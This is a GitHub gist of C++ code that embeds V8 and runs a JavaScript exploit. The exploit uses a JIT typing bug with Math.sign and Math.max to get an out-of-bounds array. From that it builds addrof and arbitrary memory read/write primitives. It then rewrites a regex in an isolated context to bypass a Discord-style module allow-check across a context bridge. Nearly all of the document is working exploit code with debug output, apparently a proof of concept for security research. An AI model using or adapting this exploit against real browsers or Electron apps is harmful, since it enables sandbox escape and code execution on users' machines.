Skip to content

Instantly share code, notes, and snippets.

@msrkp
Created November 3, 2024 11:21
Show Gist options
  • Save msrkp/6853ffb8d0cb59403744211c7aba8e66 to your computer and use it in GitHub Desktop.
Save msrkp/6853ffb8d0cb59403744211c7aba8e66 to your computer and use it in GitHub Desktop.
#include <libplatform/libplatform.h>
#include <v8.h>
#include <iostream>
namespace my_bridge {
const int kMaxRecursion = 1000;
bool DeepFreeze(const v8::Local<v8::Object>& object,
v8::Local<v8::Context> context) {
v8::Local<v8::Array> property_names =
object->GetOwnPropertyNames(context).ToLocalChecked();
for (uint32_t i = 0; i < property_names->Length(); ++i) {
v8::Local<v8::Value> child =
object->Get(context, property_names->Get(context, i).ToLocalChecked())
.ToLocalChecked();
if (child->IsObject()) {
DeepFreeze(child.As<v8::Object>(), context);
}
}
return object->SetIntegrityLevel(context, v8::IntegrityLevel::kFrozen)
.ToChecked();
}
v8::MaybeLocal<v8::Value> PassValueToOtherContext(
v8::Local<v8::Context> source_context,
v8::Local<v8::Context> destination_context, v8::Local<v8::Value> value) {
v8::Context::Scope destination_scope(destination_context);
if (value->IsFunction()) {
v8::Local<v8::Function> original_func = value.As<v8::Function>();
return v8::MaybeLocal<v8::Value>(
v8::Function::New(destination_context,
[](const v8::FunctionCallbackInfo<v8::Value>& info) {
info.GetReturnValue().Set(
v8::String::NewFromUtf8(info.GetIsolate(),
"Proxy function called")
.ToLocalChecked());
})
.ToLocalChecked());
}
if (value->IsObject()) {
v8::Local<v8::Object> obj = value.As<v8::Object>();
DeepFreeze(obj, destination_context);
return obj;
}
return v8::MaybeLocal<v8::Value>(value);
}
void ExposeInMainWorld(v8::Isolate* isolate,
v8::Local<v8::Context> main_context,
v8::Local<v8::Object> object, const std::string& name) {
v8::Context::Scope main_scope(main_context);
main_context->Global()
->Set(main_context,
v8::String::NewFromUtf8(isolate, name.c_str()).ToLocalChecked(),
object)
.Check();
}
} // namespace my_bridge
void ConsoleLog(const v8::FunctionCallbackInfo<v8::Value>& args) {
if (args.Length() < 1) return;
v8::String::Utf8Value str(args.GetIsolate(), args[0]);
std::cout << *str << std::endl;
}
void SetUpConsole(v8::Isolate* isolate, v8::Local<v8::Context> context) {
v8::Context::Scope context_scope(context);
v8::Local<v8::Object> console = v8::Object::New(isolate);
console
->Set(context, v8::String::NewFromUtf8(isolate, "log").ToLocalChecked(),
v8::Function::New(context, ConsoleLog).ToLocalChecked())
.Check();
context->Global()
->Set(context,
v8::String::NewFromUtf8(isolate, "console").ToLocalChecked(),
console)
.Check();
}
void InitializeContextBridge(v8::Isolate* isolate) {
v8::HandleScope handle_scope(isolate);
auto main_context = v8::Context::New(isolate);
SetUpConsole(isolate, main_context);
v8::Global<v8::Context> main_context_global(isolate, main_context);
isolate->SetData(0, &main_context_global);
auto isolated_context = v8::Context::New(isolate);
SetUpConsole(isolate, isolated_context);
v8::Context::Scope isolated_scope(isolated_context);
isolated_context->Global()
->Set(isolated_context,
v8::String::NewFromUtf8(isolate, "ExposeInMainWorld")
.ToLocalChecked(),
v8::Function::New(
isolated_context,
[](const v8::FunctionCallbackInfo<v8::Value>& args) {
if (args.Length() < 2 || !args[0]->IsString() ||
!args[1]->IsObject()) {
args.GetIsolate()->ThrowException(
v8::String::NewFromUtf8(args.GetIsolate(),
"Invalid arguments")
.ToLocalChecked());
return;
}
v8::Isolate* isolate = args.GetIsolate();
v8::String::Utf8Value name(isolate, args[0]);
v8::Local<v8::Object> object = args[1].As<v8::Object>();
v8::Local<v8::Context> main_context =
v8::Local<v8::Context>::New(
isolate, *static_cast<v8::Global<v8::Context>*>(
isolate->GetData(0)));
my_bridge::ExposeInMainWorld(isolate, main_context, object,
*name);
})
.ToLocalChecked())
.Check();
const char* isolated_code = R"(
console.log("In Isolated Context:");
var regexp = /^discord_[a-z0-9_-]+$/;
%DebugPrint(regexp);
%DebugPrint(regexp.source);
function requireModule(name) {
if (regexp.test(name) && name !== 'erlpack') {
return false;
}
return true;
}
const myObject = { name: "isolated_object", requireModule:requireModule}
ExposeInMainWorld("exposedObject", myObject);
%DebugPrint(myObject);
)";
v8::Local<v8::String> source =
v8::String::NewFromUtf8(isolate, isolated_code).ToLocalChecked();
v8::Local<v8::Script> script;
if (!v8::Script::Compile(isolated_context, source).ToLocal(&script)) {
std::cerr << "Failed to compile isolated context script." << std::endl;
return;
}
script->Run(isolated_context).ToLocalChecked();
const char* main_code = R"(
console.log("In Main Context:");
let conversion_buffer = new ArrayBuffer(8);
let float_view = new Float64Array(conversion_buffer);
let int_view = new BigUint64Array(conversion_buffer);
BigInt.prototype.hex = function() {
return '0x' + this.toString(16);
};
BigInt.prototype.i2f = function() {
int_view[0] = this;
return float_view[0];
}
Number.prototype.f2i = function() {
float_view[0] = this;
return int_view[0];
}
function gc() {
for(let i=0; i<((1024 * 1024)/0x10); i++) {
var a = new String();
}
}
function f(a) {
let x = -1;
if (a) x = 0xFFFFFFFF;
let oob_smi = new Array(Math.sign(0 - Math.max(0, x, -1)));
oob_smi.pop();
let oob_double = [3.14, 3.14];
let arr_addrof = [{}];
let aar_double = [2.17, 2.17];
let www_double = new Float64Array(0x20);
return [oob_smi, oob_double, arr_addrof, aar_double, www_double];
}
// gc();
console.log(11)
for (var i = 0; i < 0x10000; ++i) {
f(false);
}
let [oob_smi, oob_double, arr_addrof, aar_double, www_double] = f(true);
console.log("[+] oob_smi.length = " + oob_smi.length);
oob_smi[14] = 0x1234;
console.log("[+] oob_double.length = " + oob_double.length);
let primitive = {
addrof: (obj) => {
arr_addrof[0] = obj;
return (oob_double[8].f2i() >> 32n) - 1n;
},
half_aar64: (addr) => {
oob_double[15] = ((oob_double[15].f2i() & 0xffffffff00000000n)
| ((addr - 0x8n) | 1n)).i2f();
return aar_double[0].f2i();
},
half_aaw64: (addr, value) => {
oob_double[15] = ((oob_double[15].f2i() & 0xffffffff00000000n)
| ((addr - 0x8n) | 1n)).i2f();
aar_double[0] = value.i2f(); // Writes `value` at `addr
},
full_aaw: (addr, values) => {
let offset = -1;
for (let i = 0; i < 0x100; i++) {
if (oob_double[i].f2i() == 8n*0x20n
&& oob_double[i+1].f2i() == 0x20n) {
offset = i+2;
break;
}
}
if (offset == -1) {
console.log("[-] Bad luck!");
return;
} else {
console.log("[+] offset = " + offset);
}
oob_double[offset] = addr.i2f();
for (let i = 0; i < values.length; i++) {
console.log(i, www_double[i].f2i().hex(), values[i].f2i().hex());
www_double[i] = values[i];
}
}
};
exp_addrof = primitive.addrof(exposedObject);
console.log(exp_addrof.hex());
exp_r = primitive.half_aar64(exp_addrof)
console.log(111)
source_addrof = (exp_r &0xffffffffn) + 353016n;
console.log("[+] source_addrof : " +source_addrof.hex());
regexp_source = primitive.half_aar64(source_addrof+8n+4n);
console.log("[+] regexp_source_str: "+regexp_source.hex());
primitive.full_aaw(0x16bf081dee29n+8n, 0x64726f6373696444n);
regexp_source = primitive.half_aar64(source_addrof+8n+4n);
console.log("[+] after regexp_source_str: "+regexp_source.hex());
%DebugPrint(exposedObject);
console.log(exposedObject.requireModule('erlpack'));
)";
v8::Local<v8::String> main_source =
v8::String::NewFromUtf8(isolate, main_code).ToLocalChecked();
v8::Local<v8::Script> main_script;
if (!v8::Script::Compile(main_context, main_source).ToLocal(&main_script)) {
std::cerr << "Failed to compile main context script." << std::endl;
return;
}
main_script->Run(main_context).ToLocalChecked();
}
int main(int argc, char* argv[]) {
// Set V8 flags to increase memory limits and allow native syntax
const char* flags =
"--max-old-space-size=2048 --max-semi-space-size=64 "
"--allow-natives-syntax";
v8::V8::SetFlagsFromString(flags);
v8::V8::SetFlagsFromString(flags);
v8::V8::InitializeICUDefaultLocation(argv[0]);
v8::V8::InitializeExternalStartupData(argv[0]);
std::unique_ptr<v8::Platform> platform = v8::platform::NewDefaultPlatform();
v8::V8::InitializePlatform(platform.get());
v8::V8::Initialize();
v8::Isolate::CreateParams create_params;
create_params.array_buffer_allocator =
v8::ArrayBuffer::Allocator::NewDefaultAllocator();
v8::Isolate* isolate = v8::Isolate::New(create_params);
{
v8::Isolate::Scope isolate_scope(isolate);
InitializeContextBridge(isolate);
}
isolate->Dispose();
v8::V8::Dispose();
v8::V8::ShutdownPlatform();
delete create_params.array_buffer_allocator;
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment